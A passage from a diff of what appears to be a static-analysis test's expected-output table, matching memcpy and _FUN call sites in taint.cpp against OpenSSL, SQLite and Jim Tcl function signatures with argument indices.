*,int) | | ASN1_STRING_set0 | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_TIME *,tm *,int) | | ossl_asn1_time_from_tm | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_TYPE *,unsigned char *,int) | | ASN1_TYPE_set_octetstring | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_item_embed_free | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_primitive_free | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIGNUM *,const BIGNUM *,int) | | BN_lshift | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIGNUM *,const BIGNUM *,int) | | BN_rshift | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIGNUM *,const BIGNUM *,int) | | BN_with_flags | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIGNUM *,const BIGNUM *,int) | | bn_lshift_fixed_top | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIGNUM *,const BIGNUM *,int) | | bn_rshift_fixed_top | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIGNUM *,const unsigned long *,int) | | bn_set_static_words | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIGNUM *,const unsigned long *,int) | | bn_set_words | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIO *,BIO *,int) | | OSSL_HTTP_REQ_CTX_new | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIO *,BIO *,int) | | SMIME_crlf_copy | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIO *,GENERAL_NAMES *,int) | | OSSL_GENERAL_NAMES_print | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIO *,char *,int) | | BIO_get_line | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIO *,const DSA *,int) | | DSA_print | 2 | +| taint.cpp:190:7:190:12 | memcpy | (BIO *,const RSA *,int) | | RSA_print | 2 | +| taint.cpp:190:7:190:12 | memcpy | (CERT *,X509_STORE **,int) | | ssl_cert_get_cert_store | 2 | +| taint.cpp:190:7:190:12 | memcpy | (CRYPTO_THREAD_ROUTINE,void *,int) | | ossl_crypto_thread_native_start | 1 | +| taint.cpp:190:7:190:12 | memcpy | (CRYPTO_THREAD_ROUTINE,void *,int) | | ossl_crypto_thread_native_start | 2 | +| taint.cpp:190:7:190:12 | memcpy | (DH *,const OSSL_PARAM[],int) | | ossl_dh_key_fromdata | 2 | +| taint.cpp:190:7:190:12 | memcpy | (DSA *,const OSSL_PARAM[],int) | | ossl_dsa_key_fromdata | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ECX_KEY *,const OSSL_PARAM[],int) | | ossl_ecx_key_fromdata | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EC_KEY *,const OSSL_PARAM[],int) | | ossl_ec_key_fromdata | 2 | +| taint.cpp:190:7:190:12 | memcpy | (ENGINE *,ENGINE_DYNAMIC_ID,int) | | engine_add_dynamic_id | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_export_to_provider | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_find_operation_cache | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY *,EVP_PKEY *,int) | | evp_keymgmt_util_copy | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,EVP_PKEY *,int) | | EVP_PKEY_derive_set_peer_ex | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_hkdf_info | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_tls1_prf_seed | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_key | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_salt | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_scrypt_salt | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_tls1_prf_secret | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set_mac_key | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,const void *,int) | | EVP_PKEY_CTX_set1_id | 2 | +| taint.cpp:190:7:190:12 | memcpy | (EVP_PKEY_CTX *,int *,int) | | EVP_PKEY_CTX_set0_keygen_info | 2 | +| taint.cpp:190:7:190:12 | memcpy | (FFC_PARAMS *,unsigned int,int) | | ossl_ffc_params_enable_flags | 2 | +| taint.cpp:190:7:190:12 | memcpy | (FILE *,const DSA *,int) | | DSA_print_fp | 2 | +| taint.cpp:190:7:190:12 | memcpy | (FILE *,const RSA *,int) | | RSA_print_fp | 2 | +| taint.cpp:190:7:190:12 | memcpy | (FILE *,rule *,int) | | RulePrint | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetCommand | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetGlobalVariable | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetVariable | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,Jim_Obj *,int) | | Jim_ListGetIndex | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,Jim_Obj *,int) | | Jim_UnsetVariable | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewDictObj | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewListObj | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,char *,int) | | Jim_NewStringObjNoAlloc | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 2 | +| taint.cpp:190:7:190:12 | memcpy | (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_BASICRESP *,OCSP_CERTID *,int) | | OCSP_resp_find | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_BASICRESP *,X509_EXTENSION *,int) | | OCSP_BASICRESP_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_BASICRESP *,const ASN1_OBJECT *,int) | | OCSP_BASICRESP_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_ONEREQ *,X509_EXTENSION *,int) | | OCSP_ONEREQ_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_ONEREQ *,const ASN1_OBJECT *,int) | | OCSP_ONEREQ_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_REQUEST *,X509_EXTENSION *,int) | | OCSP_REQUEST_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_REQUEST *,const ASN1_OBJECT *,int) | | OCSP_REQUEST_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_SINGLERESP *,X509_EXTENSION *,int) | | OCSP_SINGLERESP_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_SINGLERESP *,const ASN1_OBJECT *,int) | | OCSP_SINGLERESP_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OPENSSL_STACK *,const void *,int) | | OPENSSL_sk_insert | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_referenceValue | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_secretValue | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_CMP_CTX *,int,int) | | OSSL_CMP_CTX_set_option | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_PROVIDER *,OSSL_PROVIDER **,int) | | ossl_provider_add_to_store | 2 | +| taint.cpp:190:7:190:12 | memcpy | (OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int) | | ossl_qrl_enc_level_set_get | 2 | +| taint.cpp:190:7:190:12 | memcpy | (PKCS7 *,stack_st_X509 *,int) | | PKCS7_get0_signers | 2 | +| taint.cpp:190:7:190:12 | memcpy | (POLICYINFO *,const ASN1_OBJECT *,int) | | ossl_policy_data_new | 2 | +| taint.cpp:190:7:190:12 | memcpy | (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 2 | +| taint.cpp:190:7:190:12 | memcpy | (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 2 | +| taint.cpp:190:7:190:12 | memcpy | (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 2 | +| taint.cpp:190:7:190:12 | memcpy | (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 2 | +| taint.cpp:190:7:190:12 | memcpy | (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 2 | +| taint.cpp:190:7:190:12 | memcpy | (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 2 | +| taint.cpp:190:7:190:12 | memcpy | (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 2 | +| taint.cpp:190:7:190:12 | memcpy | (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL *,const void *,int) | | SSL_write | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL *,void *,int) | | SSL_peek | 1 | +| taint.cpp:190:7:190:12 | memcpy | (SSL *,void *,int) | | SSL_peek | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL *,void *,int) | | SSL_read | 1 | +| taint.cpp:190:7:190:12 | memcpy | (SSL *,void *,int) | | SSL_read | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL *,void *,int) | | SSL_set_session_ticket_ext | 1 | +| taint.cpp:190:7:190:12 | memcpy | (SSL *,void *,int) | | SSL_set_session_ticket_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL_CIPHER *,const SSL_CIPHER *,int) | | OBJ_bsearch_ssl_cipher_id | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL_CONNECTION *,PACKET *,int) | | ssl_cache_cipherlist | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_close_construct_packet | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_set_handshake_header | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL_CONNECTION *,WPACKET *,int) | | tls_close_construct_packet | 2 | +| taint.cpp:190:7:190:12 | memcpy | (SSL_CONNECTION *,int,int) | | ssl3_send_alert | 2 | +| taint.cpp:190:7:190:12 | memcpy | (TS_MSG_IMPRINT *,unsigned char *,int) | | TS_MSG_IMPRINT_set_msg | 2 | +| taint.cpp:190:7:190:12 | memcpy | (TS_REQ *,X509_EXTENSION *,int) | | TS_REQ_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (TS_REQ *,const ASN1_OBJECT *,int) | | TS_REQ_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (TS_TST_INFO *,X509_EXTENSION *,int) | | TS_TST_INFO_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (TS_TST_INFO *,const ASN1_OBJECT *,int) | | TS_TST_INFO_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (X509 *,X509_EXTENSION *,int) | | X509_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (X509 *,int,int) | | X509_check_purpose | 2 | +| taint.cpp:190:7:190:12 | memcpy | (X509 *,int,int) | | X509_check_trust | 2 | +| taint.cpp:190:7:190:12 | memcpy | (X509_CRL *,X509_EXTENSION *,int) | | X509_CRL_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (X509_PUBKEY *,unsigned char *,int) | | X509_PUBKEY_set0_public_key | 2 | +| taint.cpp:190:7:190:12 | memcpy | (X509_REVOKED *,X509_EXTENSION *,int) | | X509_REVOKED_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (X509_STORE_CTX *,X509 *,int) | | ossl_x509_check_cert_time | 2 | | taint.cpp:190:7:190:12 | memcpy | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 | | taint.cpp:190:7:190:12 | memcpy | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 2 | +| taint.cpp:190:7:190:12 | memcpy | (action *,FILE *,int) | | PrintAction | 2 | +| taint.cpp:190:7:190:12 | memcpy | (acttab *,int,int) | | acttab_action | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const ASN1_VALUE *,const ASN1_TEMPLATE *,int) | | ossl_asn1_do_adb | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const BIGNUM *,int[],int) | | BN_GF2m_poly2arr | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const BIGNUM *,unsigned char *,int) | | BN_bn2binpad | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const BIGNUM *,unsigned char *,int) | | BN_bn2lebinpad | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const BIGNUM *,unsigned char *,int) | | BN_bn2nativepad | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2bin | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2lebin | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2native | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const CMS_ContentInfo *,BIO *,int) | | ossl_cms_DigestedData_do_final | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_signed_get_attr_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_unsigned_get_attr_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const CMS_SignerInfo *,int,int) | | CMS_signed_get_attr_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const CMS_SignerInfo *,int,int) | | CMS_unsigned_get_attr_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const EVP_MD *,const EVP_MD *,int) | | ossl_rsa_pss_params_create | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const EVP_PKEY *,const ASN1_OBJECT *,int) | | EVP_PKEY_get_attr_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const EVP_PKEY *,int,int) | | EVP_PKEY_get_attr_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const OSSL_PARAM *,BIO *,int) | | OSSL_PARAM_print_to_bio | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const SSL *,char *,int) | | SSL_get_shared_ciphers | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const SSL *,int,int) | | apps_ssl_info_callback | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const SSL_CIPHER *,char *,int) | | SSL_CIPHER_description | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509 *,const ASN1_OBJECT *,int) | | X509_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_new_init | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509 *,int,int) | | X509_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509 *,int,int) | | X509_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_ACERT *,const ASN1_OBJECT *,int) | | X509_ACERT_get_attr_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_ACERT *,int,int) | | X509_ACERT_get_attr_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_CRL *,const ASN1_OBJECT *,int) | | X509_CRL_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_CRL *,const X509 *,int) | | OSSL_CMP_CRLSTATUS_create | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_NAME *,char *,int) | | X509_NAME_oneline | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_NAME *,const ASN1_OBJECT *,int) | | X509_NAME_get_index_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_NAME *,int,int) | | X509_NAME_get_index_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_REQ *,const ASN1_OBJECT *,int) | | X509_REQ_get_attr_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_REQ *,int,int) | | X509_REQ_get_attr_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_REVOKED *,const ASN1_OBJECT *,int) | | X509_REVOKED_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const char *,const OSSL_PARAM *,int) | | print_param_types | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const char *,const char *,int) | | CRYPTO_strdup | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const char *,const char *,int) | | sqlite3_strnicmp | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const char *,long *,int) | | Jim_StringToWide | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const char *,sqlite3_filename,int) | | sqlite3_uri_key | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int) | | X509at_get_attr_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const stack_st_X509_ATTRIBUTE *,int,int) | | X509at_get_attr_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int) | | X509v3_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const unsigned char **,unsigned int,int) | | ossl_b2i_DSA_after_header | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const unsigned char **,unsigned int,int) | | ossl_b2i_RSA_after_header | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const void *,const void *,int) | | ossl_is_partially_overlapping | 2 | +| taint.cpp:190:7:190:12 | memcpy | (int,BIO_ADDR *,int) | | BIO_accept_ex | 2 | +| taint.cpp:190:7:190:12 | memcpy | (int,int,int) | | ASN1_object_size | 2 | +| taint.cpp:190:7:190:12 | memcpy | (int,int,int) | | EVP_CIPHER_meth_new | 2 | +| taint.cpp:190:7:190:12 | memcpy | (regex_t *,const char *,int) | | jim_regcomp | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3 *,const char *,int) | | sqlite3_overload_function | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3 *,int,int) | | sqlite3_limit | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3_context *,const char *,int) | | sqlite3_result_error | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3_context *,const void *,int) | | sqlite3_result_error16 | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3_index_info *,int,int) | | sqlite3_vtab_in | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3_stmt *,int,int) | | sqlite3_bind_int | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3_stmt *,int,int) | | sqlite3_bind_zeroblob | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3_stmt *,int,int) | | sqlite3_stmt_status | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3_str *,const char *,int) | | sqlite3_str_append | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3expert *,int,int) | | sqlite3_expert_report | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_X509 **,X509 *,int) | | ossl_x509_add_cert_new | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_X509 **,stack_st_X509 *,int) | | ossl_x509_add_certs_new | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_X509 *,ASIdentifiers *,int) | | X509v3_asid_validate_resource_set | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_X509 *,X509 *,int) | | X509_add_cert | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_X509 *,stack_st_X509 *,int) | | X509_add_certs | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_X509_ALGOR **,int,int) | | CMS_add_simple_smimecap | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_X509_ALGOR *,int,int) | | PKCS7_simple_smimecap | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_X509_EXTENSION **,X509_EXTENSION *,int) | | X509v3_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (uint8_t[56],const gf,int) | | gf_serialize | 2 | +| taint.cpp:190:7:190:12 | memcpy | (uint32_t *,SSL_CONNECTION *,int) | | ssl_set_sig_mask | 2 | +| taint.cpp:190:7:190:12 | memcpy | (unsigned char *,const unsigned char *,int) | | EVP_DecodeBlock | 2 | +| taint.cpp:190:7:190:12 | memcpy | (unsigned char *,const unsigned char *,int) | | EVP_EncodeBlock | 2 | +| taint.cpp:190:7:190:12 | memcpy | (unsigned char *,uint64_t,int) | | ossl_i2c_uint64_int | 2 | +| taint.cpp:190:7:190:12 | memcpy | (unsigned int,int,int) | | ossl_blob_length | 2 | +| taint.cpp:190:7:190:12 | memcpy | (unsigned long *,const BIGNUM *,int) | | bn_copy_words | 2 | +| taint.cpp:190:7:190:12 | memcpy | (unsigned long *,const unsigned long *,int) | | bn_sqr_words | 2 | +| taint.cpp:190:7:190:12 | memcpy | (void *,const char *,int) | | CRYPTO_secure_free | 2 | +| taint.cpp:249:13:249:13 | _FUN | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| taint.cpp:249:13:249:13 | _FUN | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIGNUM *,int) | | BN_clear_bit | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIGNUM *,int) | | BN_mask_bits | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIGNUM *,int) | | BN_set_bit | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIGNUM *,int) | | BN_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIGNUM *,int) | | bn_expand2 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIGNUM *,int) | | bn_wexpand | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIO *,int) | | BIO_clear_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIO *,int) | | BIO_find_type | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIO *,int) | | BIO_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIO *,int) | | BIO_set_init | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIO *,int) | | BIO_set_retry_reason | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIO *,int) | | BIO_set_shutdown | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIO *,int) | | TXT_DB_read | 1 | +| taint.cpp:249:13:249:13 | _FUN | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (DH *,int) | | DH_clear_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (DH *,int) | | DH_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (DSA *,int) | | DSA_clear_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (DSA *,int) | | DSA_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| taint.cpp:249:13:249:13 